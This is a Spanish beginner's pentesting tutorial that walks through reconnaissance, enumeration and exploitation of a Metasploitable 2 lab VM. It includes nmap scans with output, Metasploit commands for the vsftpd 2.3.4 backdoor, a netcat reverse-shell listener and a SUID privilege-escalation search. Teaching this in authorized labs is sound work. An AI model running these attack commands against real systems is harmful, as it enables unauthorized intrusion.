Metodología de Pentesting para Principiantes en Linux: De Cero a Tu Primer Pentest
Última actualización: 2024 | Tiempo de lectura: 18 min
> Disclaimer legal: Todo lo que se describe en este artículo aplica exclusivamente en entornos autorizados: tus propias máquinas virtuales, plataformas como HackTheBox o TryHackMe, o sistemas con permiso explícito por escrito. Atacar sistemas sin autorización es un delito en prácticamente todos los países. Consulta nuestra política de uso ético.
Tabla de Contenidos
- ¿Qué es la metodología de pentesting para principiantes en Linux?
- Montando tu laboratorio desde el primer día
- Las fases del pentesting explicadas sin academicismo
- Reconocimiento con Nmap: tu primer escaneo real
- Enumeración de servicios: más allá del escaneo de puertos
- Herramientas esenciales de pentesting en Linux
- Tu primer pentest completo: paso a paso en Metasploitable
- Errores comunes y cómo evitarlos
- Próximos pasos
- FAQ
La metodología de pentesting para principiantes en Linux es el punto de partida de cualquier profesional de ciberseguridad ofensiva. En esta guía vas a aprender a ejecutar un pentest completo desde cero usando Linux: no la versión bonita donde todo funciona a la primera, sino la versión real, con errores, decisiones y razonamiento detrás de cada comando.
Antes de empezar necesitas tres cosas: una instalación de Kali Linux (física o en VM), acceso a una plataforma de práctica como HackTheBox o un laboratorio propio con una máquina vulnerable, y disposición para leer outputs de terminal en lugar de saltártelos.
Si vienes de Windows y nunca has tocado Linux, dedica una semana a navegar el sistema de archivos, entender permisos y ejecutar comandos básicos. Todo lo demás se aprende sobre la marcha.
¿Qué es la metodología de pentesting para principiantes en Linux?
Un pentest no es «hackear cosas al azar». Es un proceso estructurado donde simulas ser un atacante para encontrar vulnerabilidades antes de que alguien con malas intenciones lo haga. Tienes un objetivo, un alcance definido y un tiempo límite. Eso es todo.
La metodología de pentesting se refiere al conjunto de fases, técnicas y herramientas que se aplican de forma ordenada para evaluar la seguridad de un sistema. Para principiantes que trabajan en Linux, esta metodología se apoya en estándares reconocidos como el PTES (Penetration Testing Execution Standard) y las guías de OWASP.
Linux domina el pentesting por razones prácticas, no por moda. La mayoría de herramientas serias — Metasploit, Nmap, Burp Suite, Wireshark — nacieron en Linux y funcionan mejor ahí. El sistema operativo te da acceso directo a interfaces de red, sockets y procesos sin capas de abstracción en el medio. Cuando necesitas manipular paquetes a nivel bajo, Linux no te pone obstáculos.
Kali Linux específicamente es una distribución de Debian mantenida por Offensive Security que viene con más de 600 herramientas preinstaladas y configuradas. No necesitas instalar nada para empezar. Eso para un principiante vale oro.
La analogía que uso siempre: si el objetivo es una casa, el pentesting es contratar a alguien para que intente entrar por todas las puertas y ventanas mientras el dueño mira. Al final te dice qué encontró abierto. Tú eres ese alguien.
Montando tu laboratorio de pentesting en Linux desde el primer día
No necesitas hardware caro. Necesitas VirtualBox o VMware (ambos tienen versión gratuita), la ISO de Kali Linux descargada desde kali.org, y una máquina vulnerable para practicar.
Para la máquina objetivo, tienes dos opciones inmediatas:
Opción 1 — Metasploitable 2: Una VM deliberadamente vulnerable, perfecta para practicar sin conexión a internet. La descargas de SourceForge, la importas en VirtualBox y listo.
Opción 2 — TryHackMe: Plataforma online con máquinas vulnerables accesibles por VPN. Tiene salas específicas para principiantes y no necesitas configurar nada localmente más allá del cliente OpenVPN.
Configura tu red en VirtualBox con ambas máquinas en modo «Red interna» o «Solo anfitrión». Así tu tráfico de práctica nunca sale a internet y no hay riesgo de afectar sistemas reales por accidente.
Una vez que tienes Kali corriendo, verifica que tienes conectividad básica:
bash
ip a
ping -c 3 192.168.56.101
Si el ping responde, tienes laboratorio. Si no responde, revisa la configuración de red en VirtualBox antes de continuar.
Las fases de la metodología de pentesting explicadas sin academicismo
El estándar de la industria divide la metodología de pentest en cinco fases. No son pasos rígidos — en la práctica saltas entre ellos constantemente — pero entender la estructura te ayuda a no perderte.
Fase 1: Reconocimiento (Reconnaissance)
Recopilas información sobre el objetivo sin interactuar directamente con él (reconocimiento pasivo) o enviando tráfico para obtener respuestas (reconocimiento activo).
En un entorno real, el reconocimiento pasivo incluye OSINT: buscar en Google, LinkedIn, Shodan, registros DNS públicos. En tu laboratorio, esta fase es más corta porque ya sabes la IP del objetivo.
Fase 2: Escaneo y Enumeración
Aquí empiezas a interactuar con el objetivo. Identificas puertos abiertos, servicios corriendo, versiones de software y posibles vectores de ataque.
Fase 3: Explotación
Usas las vulnerabilidades encontradas para obtener acceso. Puede ser un exploit público, una credencial débil, una configuración incorrecta o una combinación de todo.
Fase 4: Post-Explotación
Una vez dentro, ¿qué puedes hacer? Escalar privilegios, moverte lateralmente, extraer información sensible. Esta fase determina el impacto real de la vulnerabilidad.
Fase 5: Reporte
Documentas todo lo que encontraste, cómo lo encontraste y cómo se puede remediar. En un pentest profesional, el reporte es el producto final que el cliente paga.
Reconocimiento con Nmap: tu primer escaneo real en Linux
Nmap es la herramienta de escaneo de redes más usada en el mundo. Lleva décadas en activo y sigue siendo la referencia porque hace bien una cosa: te dice qué hay corriendo en una red.
El error que cometen casi todos los principiantes es lanzar el escaneo más agresivo desde el inicio. Eso genera ruido, activa IDS/IPS y en un pentest real puede dejarte sin acceso al objetivo. La estrategia correcta es ir de menos a más.
Empieza con un escaneo de descubrimiento rápido:
bash
nmap -sn 192.168.56.0/24
Esto hace un ping sweep para identificar qué hosts están activos en la red. Sin escaneo de puertos, sin ruido excesivo.
Una vez que identificas tu objetivo (digamos 192.168.56.101), haces el escaneo completo de puertos TCP:
bash
nmap -sV -sC -p- -T4 -oN escaneo_inicial.txt 192.168.56.101
Este es el output real que obtuve escaneando una instancia de Metasploitable 2:
bash
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-15 14:23 EST
Nmap scan report for 192.168.56.101
Host is up (0.00045s latency).
Not shown: 65505 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X – 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
512/tcp open exec netkit-rsh rexecd
513/tcp open login OpenBSD or Solaris rlogind
514/tcp open tcpwrapped
1099/tcp open java-rmi GNU Classpath grmiregistry
1524/tcp open bindshell Metasploitable root shell
2049/tcp open nfs 2-4 (RPC #100003)
2121/tcp open ftp ProFTPD 1.3.1
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5432/tcp open postgresql PostgreSQL DB 8.3.0 – 8.3.7
5900/tcp open vnc VNC (protocol 3.3)
6000/tcp open X11 (access denied)
6667/tcp open irc UnrealIRCd
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.34 seconds
Cuando vi este output por primera vez pensé que algo había salido mal — demasiados puertos abiertos. Pero no: Metasploitable está diseñada así. En un sistema real, ver 22 servicios expuestos sería una señal de alarma inmediata.
Observación técnica importante: El flag -sC ejecuta los scripts por defecto de Nmap (NSE). Muchos tutoriales te dicen que uses -A para «todo», pero -A incluye traceroute y detección de OS agresiva que genera significativamente más tráfico. Para la mayoría de escaneos iniciales, -sV -sC te da el 90% de la información con mucho menos ruido. Aprende a distinguir cuándo necesitas el martillo y cuándo basta con un destornillador.
Enumeración de servicios en Linux: más allá del escaneo de puertos
El escaneo de Nmap te da la lista de servicios. La enumeración te dice qué puedes hacer con cada uno.
Mira el output anterior: tienes FTP en el puerto 21 corriendo vsftpd 2.3.4. Esa versión específica tiene una backdoor famosa (CVE-2011-2523). Pero antes de ir directo al exploit, enumeras.
Para FTP, verificas si acepta login anónimo:
bash
ftp 192.168.56.101
Cuando el sistema te pide usuario, escribes anonymous y para contraseña presionas Enter o escribes cualquier email. Si el servidor lo acepta, tienes acceso sin credenciales.
Para SMB (puertos 139/445), usas enum4linux:
bash
enum4linux -a 192.168.56.101
Para HTTP, empiezas con el navegador para ver qué hay visualmente, luego usas gobuster o dirb para descubrir directorios ocultos:
bash
gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt -o dirs_encontrados.txt
La lógica es siempre la misma: cada servicio expuesto es una superficie de ataque potencial. Tu trabajo en la enumeración es entender qué versión corre, qué configuración tiene y qué credenciales por defecto o débiles podría tener.
Herramientas esenciales de pentesting en Linux para principiantes
No te voy a listar 50 herramientas. Te voy a decir las que realmente usas en el 80% de los casos cuando empiezas con la metodología de pentesting en Linux:
Nmap — Escaneo y enumeración de redes. Ya lo viste. Es el punto de partida de casi todo.
Metasploit Framework — Framework de explotación. Tiene exploits, payloads y módulos de post-explotación. Para principiantes, es la forma más accesible de entender cómo funciona un exploit sin escribir código desde cero.
bash
msfconsole
Dentro de Metasploit:
bash
search vsftpd
use exploit/unix/ftp/vsftpd234backdoor
set RHOSTS 192.168.56.101
run
Gobuster / Dirb — Fuerza bruta de directorios web. Indispensable cuando el objetivo tiene servicios HTTP.
Nikto — Scanner de vulnerabilidades web básico. No es preciso al 100% pero es rápido para identificar problemas obvios.
Hydra — Ataques de fuerza bruta a servicios de autenticación (SSH, FTP, HTTP, SMB). Úsalo solo cuando tienes un wordlist razonable y el servicio no tiene rate limiting.
Burp Suite Community — Proxy para interceptar y modificar tráfico HTTP. Viene en Kali. La versión Community tiene limitaciones (sin scanner automático, intruder lento) pero para empezar es suficiente.
Netcat — La navaja suiza de las conexiones de red. Sirve para transferir archivos, crear shells reversas, hacer banner grabbing y mil cosas más.
bash
nc -lvnp 4444
Ese comando abre un listener en el puerto 4444 de tu máquina. Cuando el objetivo se conecta a ese puerto (por ejemplo, después de explotar una vulnerabilidad), obtienes una shell.
Para una referencia completa de estas y otras herramientas, consulta nuestra guía de herramientas esenciales de pentesting en Linux.
Tu primer pentest completo con metodología real: paso a paso en Metasploitable
Vamos a conectar todo. Objetivo: Metasploitable 2 en 192.168.56.101. Tiempo real aproximado para completar esto por primera vez: 3 a 5 horas, incluyendo los errores inevitables.
Paso 1: Confirmar que el objetivo está activo.
bash
ping -c 2 192.168.56.101
Paso 2: Escaneo completo con Nmap (ya lo tienes arriba). Guarda el output con -oN.
Paso 3: Identificar vectores prometedores. Del output de Nmap, vsftpd 2.3.4 en el puerto 21 es una vulnerabilidad conocida. También tienes el puerto 1524 abierto — eso es directamente una bindshell, una shell de root esperando conexiones. Metasploitable es así de obvio por diseño.
Paso 4: Explotar vsftpd con Metasploit.
bash
msfconsole -q
bash
use exploit/unix/ftp/vsftpd234backdoor
set RHOSTS 192.168.56.101
set RPORT 21
run
Paso 5: Si obtienes shell, verificar privilegios.
bash
id
whoami
uname -a
El error que encontré la primera vez: Lancé el exploit y obtuve Connection refused en el puerto 6200 (donde la backdoor intenta abrir la shell). El problema era que mi VM tenía el firewall de VirtualBox bloqueando ese puerto de retorno. La solución fue cambiar la configuración de red de la VM de «NAT» a «Red interna» y asignarle una IP estática. Treinta minutos perdidos por no verificar la configuración de red antes de empezar. Ahora siempre verifico conectividad bidireccional antes de lanzar cualquier exploit.
Errores comunes en la metodología de pentesting para principiantes en Linux
Error 1: Escanear sin guardar los resultados
Nmap tarda minutos en completar un escaneo completo. Si no guardas el output, lo pierdes y tienes que repetirlo. Usa siempre -oN nombre.txt para texto plano, o -oA nombre para guardar en los tres formatos simultáneamente (normal, XML y grepable). Cuando llevas tres horas en una máquina y tienes que volver a escanear desde cero, lo entiendes.
Error 2: Ir directo al exploit sin enumerar
Ves un puerto 80 abierto y lanzas Nikto inmediatamente. Pero si primero hubieras navegado manualmente, habrías visto que hay un panel de administración en /admin con credenciales por defecto admin:admin. El exploit automatizado no siempre es más rápido que mirar con los ojos. La enumeración manual antes de las herramientas automáticas te da contexto que los scanners no capturan.
Error 3: Ignorar los permisos de archivos en Linux
Cuando obtienes acceso a un sistema Linux, muchos principiantes no saben qué buscar para escalar privilegios. El primer comando después de conseguir shell debería ser:
bash
find / -perm -4000 -type f 2>/dev/null
Eso busca binarios con el bit SUID activado — archivos que se ejecutan con los permisos del propietario (frecuentemente root) en lugar de los del usuario que los lanza. Si encuentras un binario SUID inusual, tienes un vector de escalada de privilegios potencial. La mayoría de tutoriales de metodología de pentesting para principiantes no mencionan esto hasta mucho después.
Advertencia real que la mayoría omite: Metasploit es una herramienta de aprendizaje excelente, pero te puede crear una dependencia peligrosa. Si solo sabes usar search y run en Metasploit, no entiendes qué está pasando por debajo. Cuando el exploit falla o necesitas modificarlo, estás perdido. Paralelamente a aprender Metasploit, aprende a leer el código de los exploits. Aunque no sepas programar, entender qué hace cada parte te convierte en mejor pentester.
Próximos pasos en tu aprendizaje de pentesting en Linux
Has completado tu primer pentest estructurado siguiendo la metodología de pentesting para principiantes en Linux. Ahora necesitas profundidad en áreas específicas:
- Escalada de privilegios en Linux — Es la habilidad que separa a quien «entró al sistema» de quien «comprometió el sistema». Consulta el artículo de Técnicas de Privilege Escalation en Linux donde cubrimos SUID, sudo misconfiguration, cron jobs y capabilities en detalle.
- Hacking web para principiantes — La mayoría de superficies de ataque reales son aplicaciones web. SQL injection, XSS, IDOR y command injection son el pan de cada día. Revisa Introducción al Hacking Web con Burp Suite para empezar con metodología real.
- Práctica en HackTheBox y TryHackMe — La teoría sin práctica no sirve. TryHackMe tiene rutas específicas para principiantes con máquinas guiadas. HackTheBox es más desafiante pero tiene una comunidad activa y writeups de máquinas retiradas. Empieza en TryHackMe con la sala «Jr Penetration Tester» y cuando termines, pasa a HackTheBox Starting Point.
- Fundamentos de Kali Linux — Si todavía no dominas el entorno, nuestra guía de introducción a Kali Linux para principiantes cubre todo lo que necesitas antes de profundizar en técnicas ofensivas.
¿Quieres recibir las próximas guías de pentesting directamente en tu correo? Suscríbete a la newsletter de HackChest y no te pierdas ningún tutorial.
FAQ sobre metodología de pentesting para principiantes en Linux
¿Necesito saber programar para aprender la metodología de pentesting en Linux?
No para empezar, sí para avanzar. Al principio usas herramientas que otros escribieron. Pero cuando necesitas modificar un exploit, escribir un script de automatización o entender qué hace un payload, Python básico marca la diferencia. Con tres meses aprendiendo Python puedes escribir tus propios scripts de enumeración. No es opcional si quieres llegar a nivel intermedio.
¿Kali Linux es la única opción para hacer pentesting en Linux?
No. Parrot OS Security es una alternativa sólida, más ligera que Kali y con las mismas herramientas principales. También puedes usar cualquier distribución de Linux e instalar las herramientas manualmente — de hecho, hacerlo te enseña más sobre cómo funcionan. Kali es la recomendación para principiantes porque elimina la fricción inicial de configuración, no porque sea técnicamente superior.
¿Cuánto tiempo tarda en aprenderse la metodología de pentesting básica en Linux?
Con práctica consistente (una o dos horas diarias), en tres meses puedes completar máquinas de dificultad fácil en HackTheBox de forma independiente. En seis meses, máquinas medias con ayuda ocasional de writeups. El progreso no es lineal — hay semanas donde todo hace clic y semanas donde te atascas en lo mismo. La clave es documentar todo lo que haces, aunque sea en un archivo de texto local. Cuando vuelves a ver un problema similar semanas después, tus propias notas valen más que cualquier tutorial.
¿Qué certificaciones complementan el aprendizaje de pentesting en Linux para principiantes?
La certificación más reconocida para validar conocimientos de metodología de pentesting es la OSCP (Offensive Security Certified Professional) de Offensive Security. Para principiantes, el camino recomendado es: CompTIA Security+ como base teórica → eJPT (eLearnSecurity Junior Penetration Tester) como primer certificado práctico → OSCP cuando tengas 6-12 meses de práctica real.
¿Es legal practicar pentesting en Linux con máquinas virtuales propias?
Sí, completamente legal. Practicar en tu propio laboratorio virtual (Metasploitable, DVWA, VulnHub) o en plataformas autorizadas como HackTheBox y TryHackMe no tiene ninguna implicación legal. El límite está en atacar sistemas de terceros sin autorización explícita por escrito.
¿Encontraste útil esta guía de metodología de pentesting para principiantes en Linux? Compártela con quien esté empezando en ciberseguridad ofensiva.

